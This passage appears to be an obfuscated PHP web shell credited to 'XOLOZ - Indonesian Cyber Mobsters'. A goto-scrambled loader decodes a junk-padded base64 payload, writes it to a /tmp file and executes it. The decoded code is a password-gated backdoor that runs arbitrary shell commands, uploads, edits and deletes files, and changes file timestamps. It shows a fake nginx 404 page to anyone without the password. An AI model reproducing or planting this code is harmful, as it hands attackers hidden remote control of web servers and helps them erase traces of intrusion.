nc3VibWl00x0LoZJyBuYW1lPSdydW5fY29tbWFuZCc+PGkgY2xhc3M9J2ZhIGZhLWNoZXZyb24tcmlnaHQnPjwvaT48L2J1dHRvbj4iOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjwvZm9ybT4iOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx00x0LoZZXhx0LoZYXJlYSBzdHlsZT00x0LoZicGFkZGluZzoxMHB4OyIgcmVhZG9ubHk+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbInJ1bl9jb21tYW5kIl00x0LoZpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb21tYW5kID00x0LoZgJF9QT1NUWyJjb21tYW5kIl00x0LoZ7ICAgICAgICAgICAgICAgICAgICAgICAgICAgIAx0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkZm5lc3RzKCRzZSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJHNlKCRjb21tYW5kKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYoJGZuZXN00x0LoZcygkZWMpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZWMoJGNvbW1hbmQpOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZigkZm5lc3RzKCRwdHJ1KSkgew00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBx0LoZcnUoJGNvbW1hbmQpOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZigkZm5lc3RzKCRzdGVtKSkgew00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN00x0LoZZW00x0LoZoJGNvbW1hbmQpOwx0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQoIkVycjogY2FuJ3QgcnVuIGNvbW1hbmQhIik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH00x0LoZNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdGV4dGFyZWE+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgIH00x0LoZgZWxzZWlmKCRiZGVjKCRfR00x0LoZVUWyJx0LoZb29scyJdKSA9PSAidXBsIikgew00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD00x0LoZicG9zdCIgZW5jdHlwZT00x0LoZibXVsdGlwYXJ00x0LoZL2Zvcm00x0LoZtZGF00x0LoZYSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV00x0LoZIHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiPg00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXRx0LoZb24gdHlwZT00x0LoZic3VibWl00x0LoZIiBuYW1lPSJ1cGxvYWQiPnVwbG9hZDwvYnVx0LoZdG9uPg00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4nOwx0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzc2Vx0LoZKCRfUE9TVFsndXBsb2FkJ0x0LoZpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlTmFtZSA9ICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZmlsZVRtcCA9ICRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG1vdmVGaWxlIDx0LoZgJG1vdnVwZigkZmlsZVRtcCwgJGZpbGVOYW1lKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJG1vdmVGaWxlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoZWFkZXIoImxvY2F00x0LoZaW9uOiA/dXNlcjx0LoZiLiRfRx0LoZVUWyJ1c2VyIlx0LoZuIiZkaXI9Ii4kYmVuKCRnY3coKSkpOwx0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugewx0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiRXJyOiBjYW4ndCB1cGxvYWQgZmlsZSEiOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZigkYmRlYygkX00x0LoZdFVFsidG9vbHMiXSkgPT00x0LoZgIm5ld2ZpbGUiKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGZvcmx0LoZgbWV00x0LoZaG9kPSdwb3N00x0LoZJz4iOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxpbnB1dCBuYW1lPSdmaWxlX25hbWUnIHN00x0LoZeWxlPSd3aWR00x0LoZaDoxMDAlOyBoZWlnaHQ6NDBweDttYXJnaW4tYm900x0LoZdG9tOjEwcHg7cGFkZGluZzoxMHB4OycgdHlwZTx0LoZndGV4dCcgcGxhY2Vob2xkZXI9J2luZGV4LnBocCcgdmFsdWU9J2luZGV4LnBocCcgcmVxdWlyZWQ+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dGV4dGFyZWEgbmFtZT00x0LoZiZmlsZV9zb3VyY2UiIHN00x0LoZeWxlPSJwYWRkaW5nOjEwcHg7IiByZXF1aXJlZD4nOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdGV4dGFyZWE+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8YnV00x0LoZdG9uIHNx0LoZeWxlPSd3aWR00x0LoZaDogNTAlO2hlaWdodDozMHB4Ohcmdpbi1x0LoZb3A6MTBweDsnIHR5cGU9J3N1Ym1pdCcgbmFtZT00x0LoZnY3JlYXRlX2ZpbGUnPmNyZWF00x0LoZZSBmaWxlPC9idXRx0LoZb+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8L2Zvcmx0LoZ+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ2NyZWF00x0LoZZV9maWxlJ1x0LoZpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlX25hbWUgPSAkX1BPU1RbImZpbGVfbmFtZSJdOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZmlsZV9zb3VyY2UgPSAkX1BPU1RbImZpbGVfc291cmNlIl00x0LoZ7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjcmVhdGVfZmlsZSA9ICRmd3IoJGZvKCRmaWxlX25hbWUsICd3JyksICRmaWxlX3NvdXJjZSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRjcmVhdGVfZmlsZSkgew00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGlzZigkZmlsZV9uYW1lKSkgew00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhlYWRlcigibG9jYXRpb6IDc2VyPSIuJF9HRVRbInVzZXIiXS4iJmRpcj00x0LoZiLiRiZW4oJGdjdygpKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIkVycjogY2FuJ3QgY3JlYXRlIGZpbGUhIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH00x0LoZNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIkVycjogY2FuJ3QgY3JlYXRlIGZpbGUhIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQx0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH00x0LoZNCiAgICAgICAgICAgICAgICAgICAgICAgIH00x0LoZgZWxzZWlmKCRiZGVjKCRfR00x0LoZVUWyJ00x0LoZb29scyJdKSA9PSAibmV3ZGlyIikgew00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxmb3JtIG1ldGhvZD00x0LoZncG9zdCcgc3R5bGU9J21hcmdpbi1ib3Rx0LoZb200x0LoZ6MHB4Oyc+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8aW5wdXQgc3R5bGU9J3dpZHRoOiAyMDBweDtoZWlnaHQ6NDBweDtwYWRkaW5nOjEwcHg7JyB00x0LoZeXBlPSdx0LoZZXh00x0LoZJyBuYW1lPSdkaXInIHBsYWNlaG9sZGVyPSdmb2xkZXIgbmFtZScgcmVxdWlyZWQ+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8YnV00x0LoZdG9uIHR5cGU9J3N1Ym1pdCcgbmFtZTx0LoZnY3JlYXRlX2Rpcic+PGkgY2xhc3M9J2ZhIGZhLWNoZXZybtcmlnaHQnPjwvaT48L2J1dHRvbj4iOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjwvZm9ybT4iOwx0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzc2V00x0LoZKCRfUE9TVFsnY3JlYXRlX2RpciddKSkgew00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGlyIDx0LoZgJF9QT1NUWydkaXInXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNyZWF00x0LoZZV9kaXIgPSAkbWtkKCRkaXIsIDA3NzcpOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkY3JlYXRlX2Rpcikgewx0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGlzZCgkZGlyKSkgew00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhlYWRlcigibG9jYXRpb246ID91c2VyPSIuJF9HRVRbInVzZXIiXS4iJmRpcj00x0LoZiLiRiZW4oJGdjdygpKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIkVycjogY2FuJ3QgY3JlYXRlIGRpciEiOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugewx0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiRXJyOiBjYW4ndCBjcmVhdGUgZGlyISI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH00x0LoZNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICB9ICBlbHNlaWYoJGJkZWMoJF9HRVRbInRvb2xzIl00x0LoZpIDx0LoZ9ICJlZGlx0LoZZGlyIikgewx0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkaXIgPSAkX00x0LoZdFVFsnZmlsZSddOwx0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxmb3JtIG1ldGhvZD00x0LoZncG9zdCcgc3R5bGU9J21hcmdpbi1ib3R00x0LoZb200x0LoZ6MHB4Oyc+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8aW5wdXQgc3R5bGU9J3dpZHRoOiAyMDBweDtoZWlnaHQ6NDBweDtwYWRkaW5nOjEwcHg7JyB00x0LoZeXBlPSd00x0LoZZXh00x0LoZJyBuYW1lPSdkaXInIHBsYWNlaG9sZGVyPSdmb2xkZXIgbmFtZScgdmFsdWU9JyIuJGRpci4iJyByZXF1aXJlZD4iOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxidXR00x0LoZb24gdHlwZT00x0LoZnc3VibWl00x0LoZJyBuYW1lPSdlZGlx0LoZX2Rpcic+PGkgY2xhc3M9J2ZhIGZhLWNoZXZyb24tcmlnaHQnPjwvaT48L2J1dHRvbj4iOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjwvZm9ybT4iOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzc2V00x0LoZKCRfUE9TVFsnZWRpdF9kaXInXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG5ld19kaXIgPSAkX1BPU1RbJ2RpciddOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVuYW1lIDx0LoZgJHJubSgkZGlyLCAkbmV3X2Rpcik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRyZW5hbWUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhlYWRlcigibG9jYXRpb2ID91c2VyPSIuJF9HRVRbInVzZXIiXS4iJmRpcj00x0LoZiLiRiZW4oJGdjdygpKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH00x0LoZgZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJFcnI6IGNhbidx0LoZIHJlbmFtZSBkaXIhIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQx0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHx0LoZNCiAgICAgICAgICAgICAgICAgICAgICAgIHx0LoZgZWxzZWlmKCRiZGVjKCRfRx0LoZVUWyd00x0LoZb29scyddKSA9PSAiZWRpdGZpbGUiKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZpbGUgPSAkX00x0LoZdFVFsnZmlsZSddOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxmb3JtIG1ldGhvZD00x0LoZncG9zdCc+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8aW5wdXQgbmFtZT00x0LoZnZmlsZV9uYW1lJyBzdHlsZT00x0LoZnd2lkdGg6MTAwJTsgaGVpZ2h00x0LoZOjQwcHg7bWFyZ2luLWJvdHRvbToxMHB4O3BhZGRpbmc6MTBweDsnIHR5cGU9J3RleHQnIHBsYWNlaG9sZGVyPSciLiRmaWxlLiInIHZhbHVlPSciLiRmaWxlLiInIHJlcXVpcmVkPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRleHRhcmVhIG5hbWU9ImZpbGVfc291cmNlIiBzdHlsZTx0LoZicGFkZGluZzoxMHB4OyIgcmVxdWlyZWQ+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRodG1zcGMoJGZndGNvKCRmaWxlKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC0x0LoZZXh00x0LoZYXJlYT4nOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxidXR00x0LoZb24gc3R5bGU9J3dpZHRoOiA1MCU7aGVpZ2h00x0LoZOjMwcHg7bWFyZ2luLXRvcDoxMHB4OycgdHlwZT00x0LoZnc3VibWl00x0LoZJyBuYW1lPSdlZGlx0LoZX2ZpbGUnPmVkaXQgZmlsZTwvYnVx0LoZdG9uPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPC9mb3JtPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydlZGl00x0LoZX2ZpbGUnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZpbGVfbmFtZSA9ICRfUE9TVFsnZmlsZV9uYW1lJ100x0LoZ7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlX3NvdXJjZSA9ICRfUE9TVFsnZmlsZV9zb3VyY2UnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGZpbGVfbmFtZSA9PSAkZmlsZSkgew00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHVwZGF00x0LoZZSA9ICRmd3IoJGZvKCRmaWxlX25hbWUsICd3JyksICRmaWxlX3NvdXJjZSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkdXBkYXRlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaGVhZGVyKCJsb2NhdGlvbjogP3VzZXI9Ii4kX00x0LoZdFVFsidXNlciJdLiImZGlyPSIuJGJlbigkZ2N3KCkpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHx0LoZgZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiRXJyOiBjYW4ndCBlZGl00x0LoZIGZpbGUhIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHx0LoZNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR1bmwoJGZpbGUpOwx0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHVwZGFx0LoZZSA9ICRmd3IoJGZvKCRmaWxlX25hbWUsICd3JyksICRmaWxlX3NvdXJjZSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkdXBkYXRlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaGVhZGVyKCJsb2NhdGlvbjogP3VzZXI9Ii4kX00x0LoZdFVFsidXNlciJdLiImZGlyPSIuJGJlbigkZ2N3KCkpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH00x0LoZgZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiRXJyOiBjYW4ndCBlZGl00x0LoZIGZpbGUhIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH00x0LoZNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHx0LoZNCiAgICAgICAgICAgICAgICAgICAgICAgIH00x0LoZgZWxzZWlmKCRiZGVjKCRfR00x0LoZVUWyd00x0LoZb29scyddKSA9PSAiZGVsZGlyIikgew00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkaXIgPSAkX00x0LoZdFVFsnZmlsZSddOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkZWxkaXIgPSAkcm1kKCRkaXIpOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRkZWxkaXIpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaGVhZGVyKCJsb2NhdGlvbjogP3VzZXI9Ii4kX00x0LoZdFVFsidXNlciJdLiImZGlyPSIuJGJlbigkZ2N3KCkpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJFcnI6IGNhbidx0LoZIGRlbGV00x0LoZZSBkaXIhIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZigkYmRlYygkX00x0LoZdFVFsndG9vbHMnXSkgPTx0LoZgImRlbGZpbGUiKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRpciA9ICRfR00x0LoZVUWydmaWxlJ0x0LoZ7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRlbGZpbGUgPSAkdW5sKCRkaXIpOwx0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRkZWxmaWxlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhlYWRlcigibG9jYXRpb246ID91c2VyPSIuJF9HRVRbInVzZXIiXS4iJmRpcj00x0LoZiLiRiZW4oJGdjdygpKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiRXJyOiBjYW4ndCBkZWxldGUgZmlsZSEiOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH00x0LoZNCiAgICAgICAgICAgICAgICAgICAgICAgIH00x0LoZgZWxzZWlmKCRiZGVjKCRfR00x0LoZVUWyJ00x0LoZb29scyJdKSA9PSAidGltZW1vZCIpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZm5hbWUgPSAkXx0LoZdFVFsiZmlsZSJdOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsYXNx0LoZbSA9ICRkdCgiZC1tLVkgSDppOnMiLCRmaWxtdCgkZm5hbWUpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8Zm9ybSBtZXRob2Q9J3Bvc3QnIHN00x0LoZeWxlPSdtYXJnaW4tYm900x0LoZdG9tOjBweDsnPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGlucHVx0LoZIHN00x0LoZeWxlPSd3aWR00x0LoZaDogMjAwcHg7aGVpZ2hx0LoZOjQwcHg7cGFkZGluZzoxMHB4OycgdHlwZTx0LoZndGV4dCcgbmFtZT00x0LoZndGltZW1vZCcgcGxhY2Vob2xkZXI9JyIuJGxhc3RtLiInIHZhbHVlPSciLiRsYXN00x0LoZbS4iJyByZXF1aXJlZD4iOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxidXRx0LoZbgdHlwZT00x0LoZnc3VibWlx0LoZJyBuYW1lPSdzdGltZW1vZCc+PGkgY2xhc3M9J2ZhIGZhLWNoZXZyb24tcmlnaHQnPjwvaT48L2J1dHRvbj4iOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjwvZm9ybT4iOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzc2Vx0LoZKCRfUE9TVFsic3RpbWVtb2QiXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG5ld3RpbWUgPSAkc3RydHQoJF9QT1NUWyJx0LoZaW1lbW9kIl00x0LoZpOwx0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY2hhbmdlbG1vZCA9ICR00x0LoZY2goJGZuYW1lLCAkbmV3dGltZSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRjaGFuZ2VsbW9kKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoZWFkZXIoImxvY2Fx0LoZaW9uOiA/dXNlcj00x0LoZiLiRfR00x0LoZVUWyJ1c2VyIl00x0LoZuIiZkaXI9Ii4kYmVuKCRnY3coKSkpOwx0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugewx0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiRXJyOiBjYW4ndCBjaGFuZ2UgbW9kaWZpY2F00x0LoZaW9uIHRpbWUhIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH00x0LoZNCg00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgfQ00x0LoZKICAgICAgICAgICAgICAgICAgICB9DQoNCmVjaG8gJzxwIHN00x0LoZeWxlPSJtYXJnaW4tYm9x0LoZdG9tOjMwcHg7Ij4mY29weTsgJy4kZHQoIlkiKS4nICZuYnNwO1hPTE9aIC00x0LoZgSW5kb25lc2lhbiBDeWJlciBNb2JzdGVyczwvcD48L2Rpdj48L2NlbnRlcj48L2JvZHk+PC9odG1sPic7DQoNCn00x0LoZgZWxzZSB7DQogICAgaGVhZGVyKCJIVFRQLzEuMCA00x0LoZMDQgTm0x0LoZIEZvdW5kIik7DQogICAgZWNobyAnPGh00x0LoZbWw+DQogICAgPGhlYWQ+PHRpdGxlPjQwNCBOb3QgRm91bmQ8L3RpdGxlPjwvaGVhZD4NCiAgICA8Ym9keSBiZ2NvbG9yPSJ3aGl00x0LoZZSI+DQogICAgPGNlbnRlcj48aDE+NDA00x0LoZIE5vdCBGb3VuZDwvaDE+PC9jZW500x0LoZZXI+DQogICAgPGhyPjxjZW5x0LoZZXI+bmdpbng8L2NlbnRlcj4NCiAgICA8L2JvZHk+DQogICAgPC9odG1sPgx0LoZKICAgICc7DQp9DQo=";
goto W619D;
g5ZnN: $LazQ1 = $NyNDM($Q7PF9("MDB4MExvWg=="), $bRKrI);
goto q1VV8;
q3NRp: $wfIE9($J8mtz);
goto tjWYN;
dv0LS: $ggS0e = "base64_decode"($LazQ1);
goto k9rWY;
tbGeQ: goto hbiAX;
kovcF: $SPPHK = "fopen"($J8mtz, "base64_decode"("dys="));
goto OJKnC;
sxERO: goto geZ3e;
W619D: goto sxERO;
NWtbR: goto nyGpc;
OJKnC: "fwrite"($SPPHK, "" . $ggS0e);
goto DreON;
geZ3e: goto g5ZnN;
tTkC2: include $J8mtz;
goto q3NRp;
nyGpc: goto Ir9sq;
hbiAX: goto NWtbR;
tjWYN: error_reporting(0);
goto ZTndN;
DreON: "fclose"($SPPHK);
goto tTkC2;
k9rWY: goto tbGeQ;
q1VV8: $LazQ1 = "implode"("base64_decode"("MA=="), $LazQ1);
goto dv0LS;
Ir9sq: $J8mtz = "tempnam"("base64_decode"("L3RtcA=="), "Q0gmNClPyRiTHoMrqAfwdshaxvpkDbFeEuYnSBIcKjZVXGWLzUtOJ");
goto kovcF;
ZTndN: $bRKrI = "DQpvYl9zdGFydCgpOw00x0LoZKZXJyb3JfcmVwb3J00x0LoZaW5nKDApOwx0LoZKJHBhc3N3b3JkcyA9ICIzODExMzEwOTJkY2I5ODljZGFmMTQwNGM2ZjBhMjFhZCI7DQppZihtZDUoJF9HRVRbJ3VzZXInXSkgPT00x0LoZgJHBhc3N3b3Jkcykgew00x0LoZKDQogICAgICAgICAgICBlY2hvICc8aHRtbD48aGVhZD48bWV00x0LoZYSBjaGFyc2V00x0LoZPSJ1dGYtOCI+PG1ldGEgaHRx0LoZcC1lcXVpdj00x0LoZiWC1VQS1Db21wYXRpYmxlIiBjb20x0LoZZW500x0LoZPSJJRT1lZGdlIj48bWV00x0LoZYSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudDx0LoZid2lkdGg9ZGV2aWNlLXdpZHRoLGluaXRpYWwtc2NhbGU9MSI+PHRpdGxlPnhvbG96IHBydjg8L3RpdGxlPjxzdHlsZSBx0LoZeXBlPSJ00x0LoZZXh00x0LoZL2NzcyI+IGJvZHkgeyBmb25x0LoZLWZhbWlseTogY2FsaWJyaSwgInNhbnMtc2VyaWYiLCBjb3VyaWVyO2JhY2tncm91bmQtY29sb3I6ICMyYzNlNTA7Y29sb3I6ICNmZmY7IH00x0LoZgLnhvbG96LWNvbnRlbnQgeyBtYXgtd2lkdGg6IGF1dG87IG92ZXJmbG93LXg6YXVx0LoZbzttYXJnaW46IDEwcHg7IHx0LoZgdGFibGUgeyB3aWR00x0LoZaDogMTAwJTsgfSB00x0LoZYWJsZSwgdGgsIHRkIHsgYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZTsgYm9yZGVyOiAycHggc29saWQgIzJjM2U1MDsgfSBx0LoZaCB7IGJhY2tncm91bmQtY29sb3I6ICMzNDQ5NWU7IGZvbnQtc2l6ZTogMjBweDsgcGFkZGluZzogMTBweDsgfSB00x0LoZZCB7IGJhY2tncmbmQtY29sb3I6ICNlY2YwZjE7IGNvbG9yOiAjMmMzZTUwOyBmb2500x0LoZLXNpemU6IDE4cHg7IHBhZGRpbmc6IDEwcHg7IH00x0LoZgYSB7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgY29sb3I6ICMyYzNlNTA7IHx0LoZgYnV00x0LoZdG9uIHsgd2lkdGg6IDkwcHg7aGVpZ2h00x0LoZOiAzMHB4O21hcmdpbi1sZWZ00x0LoZOiA1cHg7bWFyZ2luLXJpZ2h00x0LoZOiA1cHg7bWFyZ2luLXRvcDogMTBweDttYXJnaW4tYm900x0LoZdG9tOiAxMHB4O2N1cnNvcjogcG9pbnRlcjtib3JkZXItcmFkaXVzOiA1cHg7IH00x0LoZgLnhvbG96LW1lbnUgeyBtYXJnaW4tYm9x0LoZdG9tOiAyMHB4O3RleHQtYWxpZ246IGxlZn